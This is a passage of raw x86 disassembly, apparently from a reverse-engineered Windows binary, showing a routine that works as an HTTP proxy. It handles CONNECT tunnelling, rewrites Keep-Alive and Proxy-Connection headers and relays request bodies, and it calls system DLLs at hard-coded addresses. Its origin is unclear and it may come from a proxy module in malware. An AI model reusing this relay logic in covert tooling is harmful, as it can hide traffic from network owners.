___:0042A576j lea ecx, [esp+0B8h] call sub_401B4A lea ecx, [esp+14h] mov dword ptr [esp+54A0h], 0 mov byte ptr [esp+13h], 0 call sub_40142E mov ecx, [ebp+0BBh] push 0 lea eax, [esp+398h] push 104h push eax push ecx mov byte ptr [esp+54B0h], 1 call sub_401280 add esp, 10h test al, al jz loc_42A600 lea edx, [esp+394h] lea ecx, [esp+30h] push edx call sub_401870 push offset byte_448F30 lea ecx, [esp+34h] mov byte ptr [esp+54A4h], 2 call sub_4012EE test eax, eax jnz short loc_4296A0 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A570 ; --------------------------------------------------------------------------- loc_4296A0: ; CODE XREF: ___:00429664j push offset asc_444600 ; " " lea eax, [esp+234h] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset off_44720C mov ecx, eax mov byte ptr [esp+54A4h], 3 call sub_40150A test eax, eax lea ecx, [esp+230h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz short loc_429765 push offset asc_444600 ; " " lea ecx, [esp+21Ch] push 1 push ecx lea ecx, [esp+3Ch] mov byte ptr [esp+1Fh], 1 call sub_4016B8 lea edx, [esp+0B8h] mov ecx, eax push edx mov byte ptr [esp+54A4h], 4 call sub_4017EE push eax call sub_401947 add esp, 8 lea ecx, [esp+218h] test al, al setz bl mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset aHttp ; "http" lea ecx, [esp+0BCh] call sub_4012EE test eax, eax jnz loc_42A5EF jmp loc_42995A ; --------------------------------------------------------------------------- loc_429765: ; CODE XREF: ___:004296E7j push offset asc_444600 ; " " lea eax, [esp+24Ch] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+54A4h], 5 call sub_40150A test eax, eax lea ecx, [esp+248h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz loc_42995A push offset aConnect ; "connect" lea ecx, [esp+0BCh] mov byte ptr [esp+17h], 0 call sub_4015E1 push offset byte_448F30 lea ecx, [esp+114h] call sub_4015E1 push offset asc_444600 ; " " lea ecx, [esp+12Ch] push 1 push ecx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+174h] push 0 push edx mov ecx, eax mov byte ptr [esp+54ACh], 6 call sub_4016B8 push eax lea ecx, [esp+0D1h] mov byte ptr [esp+54A4h], 7 call sub_401FDC lea ecx, [esp+170h] mov byte ptr [esp+54A0h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+54A0h], 2 call sub_401226 push offset asc_444600 ; " " lea eax, [esp+27Ch] push 1 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+1A4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 8 call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 9 call sub_4017EE test eax, eax lea ecx, [esp+1A0h] mov byte ptr [esp+54A0h], 8 setz bl call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset asc_444600 ; " " lea edx, [esp+264h] push 1 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+1D4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 0Ah call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 0Bh call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1D0h] mov [esp+10Ch], eax mov byte ptr [esp+54A0h], 0Ah call sub_401226 lea ecx, [esp+260h] mov byte ptr [esp+54A0h], 2 call sub_401226 mov eax, [esp+10Ch] test eax, eax jnz short loc_42995A mov dword ptr [esp+10Ch], 50h loc_42995A: ; CODE XREF: ___:00429760j ; ___:004297ACj ... push offset asc_444600 ; " " lea edx, [esp+4Ch] push 0 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F30 lea ecx, [esp+4Ch] mov byte ptr [esp+54A4h], 0Ch call sub_4012EE test eax, eax jz loc_42A5DE push offset asc_444600 ; " " lea eax, [esp+64h] push 2 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F30 lea ecx, [esp+64h] mov byte ptr [esp+54A4h], 0Dh call sub_4012EE test eax, eax jz loc_42A5CD lea ecx, [esp+0CDh] push ecx lea ecx, [esp+8Ch] call sub_4014D3 mov ecx, 1000h xor eax, eax lea edi, [esp+498h] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+4498h] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+54A0h], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+4498h] and ecx, 3 rep movsb mov esi, offset asc_4471E4 ; "\r\n" loc_429A21: ; CODE XREF: ___:00429A3Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A45 test cl, cl jz short loc_429A41 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A45 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A21 loc_429A41: ; CODE XREF: ___:00429A2Bj xor eax, eax jmp short loc_429A49 ; --------------------------------------------------------------------------- loc_429A45: ; CODE XREF: ___:00429A27j ; ___:00429A35j sbb eax, eax sbb eax, ebx loc_429A49: ; CODE XREF: ___:00429A43j test eax, eax jz loc_429B23 mov edi, dword_511AD8 loc_429A57: ; CODE XREF: ___:00429B1Dj mov esi, offset byte_448F30 lea eax, [esp+4498h] loc_429A63: ; CODE XREF: ___:00429A81j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A87 test cl, cl jz short loc_429A83 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A87 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A63 loc_429A83: ; CODE XREF: ___:00429A6Dj xor eax, eax jmp short loc_429A8B ; --------------------------------------------------------------------------- loc_429A87: ; CODE XREF: ___:00429A69j ; ___:00429A77j sbb eax, eax sbb eax, ebx loc_429A8B: ; CODE XREF: ___:00429A85j test eax, eax jz loc_429B23 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+449Ch] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A629 lea edx, [esp+4498h] push 4000h lea eax, [esp+49Ch] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+4A8h] push offset asc_4471E4 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_4471E4 ; "\r\n" lea eax, [esp+4498h] loc_429AF3: ; CODE XREF: ___:00429B11j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429B17 test cl, cl jz short loc_429B13 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429B17 add eax, 2 add esi, 2 test cl, cl jnz short loc_429AF3 loc_429B13: ; CODE XREF: ___:00429AFDj xor eax, eax jmp short loc_429B1B ; --------------------------------------------------------------------------- loc_429B17: ; CODE XREF: ___:00429AF9j ; ___:00429B07j sbb eax, eax sbb eax, ebx loc_429B1B: ; CODE XREF: ___:00429B15j test eax, eax jnz loc_429A57 loc_429B23: ; CODE XREF: ___:00429A4Bj ; ___:00429A8Dj mov esi, dword_511B04 lea eax, [esp+498h] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_429B77 push offset asc_444C64 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_429B77 cmp byte ptr [eax], 20h jnz short loc_429B5B loc_429B52: ; CODE XREF: ___:00429B59j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_429B52 loc_429B5B: ; CODE XREF: ___:00429B50j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_429B77 mov byte ptr [ebp+0BAh], 1 jmp short loc_429B7E ; --------------------------------------------------------------------------- loc_429B77: ; CODE XREF: ___:00429B3Dj ; ___:00429B4Bj ... mov byte ptr [ebp+0BAh], 0 loc_429B7E: ; CODE XREF: ___:00429B75j cmp [ebp+0BFh], ebx jnz loc_429C16 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, ebx mov [ebp+0BFh], eax jz loc_42A6FD mov edx, [esp+10Ch] xor ecx, ecx mov [esp+78h], ecx push edx mov [esp+80h], ecx mov word ptr [esp+7Ch], 2 mov [esp+84h], ecx mov [esp+88h], ecx nop call near ptr 71AB2B66h lea ecx, [esp+0CDh] mov [esp+7Ah], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, ebx mov [esp+7Ch], eax jz loc_42A63B mov ecx, [ebp+0BFh] lea eax, [esp+78h] push 10h push eax push ecx call near ptr 71AB406Ah nop cmp eax, ebx jz loc_42A698 loc_429C16: ; CODE XREF: ___:00429B84j mov al, [esp+13h] test al, al jz loc_42A2BE mov al, [ebp+0BAh] test al, al jz short loc_429C61 lea edx, [esp+498h] lea ecx, [esp+60h] push edx call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea eax, [esp+24h] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_429C94 ; --------------------------------------------------------------------------- loc_429C61: ; CODE XREF: ___:00429C2Aj lea ecx, [esp+498h] push ecx lea ecx, [esp+64h] call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea edx, [esp+24h] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_429C94: ; CODE XREF: ___:00429C5Fj call sub_40102D add esp, 18h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE push eax mov eax, [ebp+0BFh] push eax call near ptr 71AB428Ah nop test eax, eax jz loc_42A6E2 cmp eax, ebx jz loc_42A6E2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42A70F mov edi, offset asc_4471E4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_4471E4 ; "\r\n" mov [esp+2Ch], ebx lea eax, [esp+498h] loc_429D5E: ; CODE XREF: ___:00429D7Cj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429D82 test cl, cl jz short loc_429D7E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429D82 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D5E loc_429D7E: ; CODE XREF: ___:00429D68j xor eax, eax jmp short loc_429D87 ; --------------------------------------------------------------------------- loc_429D82: ; CODE XREF: ___:00429D64j ; ___:00429D72j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429D87: ; CODE XREF: ___:00429D80j test eax, eax jz loc_42A109 loc_429D8F: ; CODE XREF: ___:0042A0F8j mov esi, offset byte_448F30 lea eax, [esp+498h] loc_429D9B: ; CODE XREF: ___:00429DBDj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_429DC3 test cl, cl jz short loc_429DBF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_429DC3 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D9B loc_429DBF: ; CODE XREF: ___:00429DA7j xor eax, eax jmp short loc_429DC8 ; --------------------------------------------------------------------------- loc_429DC3: ; CODE XREF: ___:00429DA3j ; ___:00429DB3j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429DC8: ; CODE XREF: ___:00429DC1j test eax, eax jz loc_42A105 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A100 lea edx, [esp+498h] lea ecx, [esp+0A0h] push edx call sub_401870 push offset asc_444600 ; " " lea eax, [esp+204h] push 0 push eax lea ecx, [esp+0ACh] mov byte ptr [esp+54ACh], 0Fh call sub_4016B8 push offset aContentLength ; "Content-Length:" mov ecx, eax mov byte ptr [esp+54A4h], 10h call sub_40150A test eax, eax lea ecx, [esp+200h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429EAA push offset asc_444600 ; " " lea ecx, [esp+144h] push 1 push ecx lea ecx, [esp+0ACh] call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 11h call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+140h] mov [esp+2Ch], eax mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429EAA: ; CODE XREF: ___:00429E5Cj push offset asc_444600 ; " " lea edx, [esp+15Ch] push 0 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov byte ptr [esp+54A4h], 12h call sub_40150A test eax, eax lea ecx, [esp+158h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429F39 push offset asc_444600 ; " " lea eax, [esp+18Ch] push 1 push eax lea ecx, [esp+0ACh] call sub_4016B8 push offset aChunked ; "chunked" mov ecx, eax mov byte ptr [esp+54A4h], 13h call sub_40150A lea ecx, [esp+188h] mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429F39: ; CODE XREF: ___:00429EF4j push offset asc_444600 ; " " lea ecx, [esp+1BCh] push 0 push ecx lea ecx, [esp+0ACh] call sub_4016B8 push offset aConnection ; "Connection:" mov ecx, eax mov byte ptr [esp+54A4h], 14h call sub_40150A test eax, eax lea ecx, [esp+1B8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429FD4 push offset asc_444600 ; " " lea edx, [esp+1ECh] push 1 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov byte ptr [esp+54A4h], 15h call sub_40150A test eax, eax lea ecx, [esp+1E8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl setnz byte ptr [esp+11h] loc_429FD4: ; CODE XREF: ___:00429F83j mov esi, offset asc_4471E4 ; "\r\n" lea eax, [esp+498h] loc_429FE0: ; CODE XREF: ___:0042A002j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A008 test cl, cl jz short loc_42A004 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A008 add eax, 2 add esi, 2 test cl, cl jnz short loc_429FE0 loc_42A004: ; CODE XREF: ___:00429FECj xor eax, eax jmp short loc_42A00D ; --------------------------------------------------------------------------- loc_42A008: ; CODE XREF: ___:00429FE8j ; ___:00429FF8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A00D: ; CODE XREF: ___:0042A006j test eax, eax jz loc_42A0A9 mov esi, offset byte_448F30 lea eax, [esp+498h] loc_42A021: ; CODE XREF: ___:0042A043j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A049 test cl, cl jz short loc_42A045 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A049 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A021 loc_42A045: ; CODE XREF: ___:0042A02Dj xor eax, eax jmp short loc_42A04E ; --------------------------------------------------------------------------- loc_42A049: ; CODE XREF: ___:0042A029j ; ___:0042A039j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A04E: ; CODE XREF: ___:0042A047j test eax, eax jz short loc_42A0A9 mov edi, offset asc_4471E4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A0A9: ; CODE XREF: ___:0042A00Fj ; ___:0042A050j lea ecx, [esp+0A0h] mov byte ptr [esp+54A0h], 0Eh call sub_401226 mov esi, offset asc_4471E4 ; "\r\n" lea eax, [esp+498h] loc_42A0C9: ; CODE XREF: ___:0042A0EBj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A0F1 test cl, cl jz short loc_42A0ED mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A0F1 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A0C9 loc_42A0ED: ; CODE XREF: ___:0042A0D5j xor eax, eax jmp short loc_42A0F6 ; --------------------------------------------------------------------------- loc_42A0F1: ; CODE XREF: ___:0042A0D1j ; ___:0042A0E1j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A0F6: ; CODE XREF: ___:0042A0EFj test eax, eax jnz loc_429D8F jmp short loc_42A105 ; --------------------------------------------------------------------------- loc_42A100: ; CODE XREF: ___:00429DF0j mov byte ptr [esp+12h], 1 loc_42A105: ; CODE XREF: ___:00429DCAj ; ___:0042A0FEj mov ebx, [esp+2Ch] loc_42A109: ; CODE XREF: ___:00429D89j mov al, [esp+11h] push 0 test al, al jz short loc_42A131 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_42A14D ; --------------------------------------------------------------------------- loc_42A131: ; CODE XREF: ___:0042A111j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_42A14D: ; CODE XREF: ___:0042A12Fj nop call near ptr 71AB428Ah mov edi, offset asc_4471E4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+4A0h] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_42A27C xor edi, edi test ebx, ebx jle short loc_42A204 loc_42A1B3: ; CODE XREF: ___:0042A202j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_42A204 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A204 cmp esi, 0FFFFFFFFh jz short loc_42A204 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+49Ch] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_42A1B3 loc_42A204: ; CODE XREF: ___:0042A1B1j ; ___:0042A1BCj ... mov eax, ebx sub eax, edi jz short loc_42A24E loc_42A20A: ; CODE XREF: ___:0042A24Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A24E cmp esi, 0FFFFFFFFh jz short loc_42A24E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+49Ch] push esi push ecx push edx nop call near ptr 71AB428Ah add edi, esi mov eax, ebx sub eax, edi jnz short loc_42A20A loc_42A24E: ; CODE XREF: ___:0042A208j ; ___:0042A227j ... mov al, [ebp+0BAh] test al, al jnz loc_42A4DF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov byte ptr [esp+12h], 1 mov [ebp+0BBh], esi jmp loc_42A4E2 ; --------------------------------------------------------------------------- loc_42A27C: ; CODE XREF: ___:0042A1A7j mov esi, dword_511CA4 loc_42A282: ; CODE XREF: ___:0042A2BCj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_42A24E cmp eax, 0FFFFFFFFh jz short loc_42A24E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+4A0h] push edx push eax call near ptr 71AB428Ah nop jmp short loc_42A282 ; --------------------------------------------------------------------------- loc_42A2BE: ; CODE XREF: ___:00429C1Cj lea ecx, [esp+14h] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah test eax, eax jz loc_42A782 cmp eax, ebx jz loc_42A782 mov ebx, dword_511CA4 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+294h], eax mov dword ptr [esp+290h], 1 xor eax, eax lea ecx, [esp+294h] loc_42A330: ; CODE XREF: ___:0042A33Bj cmp [ecx], edx jz short loc_42A33D inc eax add ecx, 4 cmp eax, 1 jb short loc_42A330 loc_42A33D: ; CODE XREF: ___:0042A332j cmp eax, 1 jnz short loc_42A354 mov [esp+298h], edx mov dword ptr [esp+290h], 2 loc_42A354: ; CODE XREF: ___:0042A340j mov ecx, 1000h xor eax, eax lea edi, [esp+498h] push eax rep stosd push eax lea ecx, [esp+298h] push eax push ecx push eax call near ptr 71AB2DC0h nop mov eax, [ebp+0BBh] lea edx, [esp+290h] push edx push eax call sub_438256 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE72h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h dd 75000027h, 0E8016A0Dh, 23F7922h, 0FE43E990h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42A4DF: ; CODE XREF: ___:0042A256j or esi, 0FFFFFFFFh loc_42A4E2: ; CODE XREF: ___:0042A277j mov al, [esp+11h] test al, al jnz short loc_42A502 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov byte ptr [esp+12h], 1 loc_42A502: ; CODE XREF: ___:0042A4E8j lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA or esi, 0FFFFFFFFh loc_42A570: ; CODE XREF: ___:0042969Bj mov al, [esp+12h] test al, al jz loc_4295E8 loc_42A57C: ; CODE XREF: ___:0042A624j ; ___:0042A77Dj mov al, [ebp+0BAh] test al, al jz short loc_42A599 mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h mov [ebp+0BBh], esi loc_42A599: ; CODE XREF: ___:0042A584j mov al, [esp+11h] test al, al jz short loc_42A5B4 mov ecx, [ebp+0BFh] push ecx call near ptr 71AB9639h nop mov [ebp+0BFh], esi loc_42A5B4: ; CODE XREF: ___:0042A59Fj ; ___:0042A805j mov ecx, [esp+5498h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_42A5CD: ; CODE XREF: ___:004299BAj lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 loc_42A5DE: ; CODE XREF: ___:00429987j lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 loc_42A5EF: ; CODE XREF: ___:00429741j ; ___:0042975Aj ... lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 loc_42A600: ; CODE XREF: ___:00429635j lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A629: ; CODE XREF: ___:00429AB3j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A63B: ; CODE XREF: ___:00429BF4j lea ecx, [esp+0CDh] call sub_4017EE push eax lea ecx, [esp+18h] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah mov eax, [ebp+0BBh] mov esi, dword_511C9C push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A698: ; CODE XREF: ___:00429C10j mov edx, [esp+10Ch] lea ecx, [esp+0CDh] push edx call sub_4017EE push eax lea eax, [esp+1Ch] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A6E2: ; CODE XREF: ___:00429CC1j ; ___:00429CC9j mov edx, [ebp+0BBh] mov esi, dword_511C9C push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A6FD: ; CODE XREF: ___:00429B9Ej mov ecx, [ebp+0BBh] push ecx call near ptr 71AB9639h nop jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A70F: ; CODE XREF: ___:00429CEFj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA or esi, 0FFFFFFFFh jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: ___:0042A2F5j ; ___:0042A2FDj mov ecx, [ebp+0BBh] mov esi, dword_511C9C push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_42A798: ; CODE XREF: ___:0042A693j ; ___:0042A6F8j call esi ; closesocket loc_42A79A: ; CODE XREF: ___:0042A636j ; ___:0042A70Aj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA jmp loc_42A5B4 ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ACB0 proc near ; CODE XREF: sub_4018EDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42ACB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov 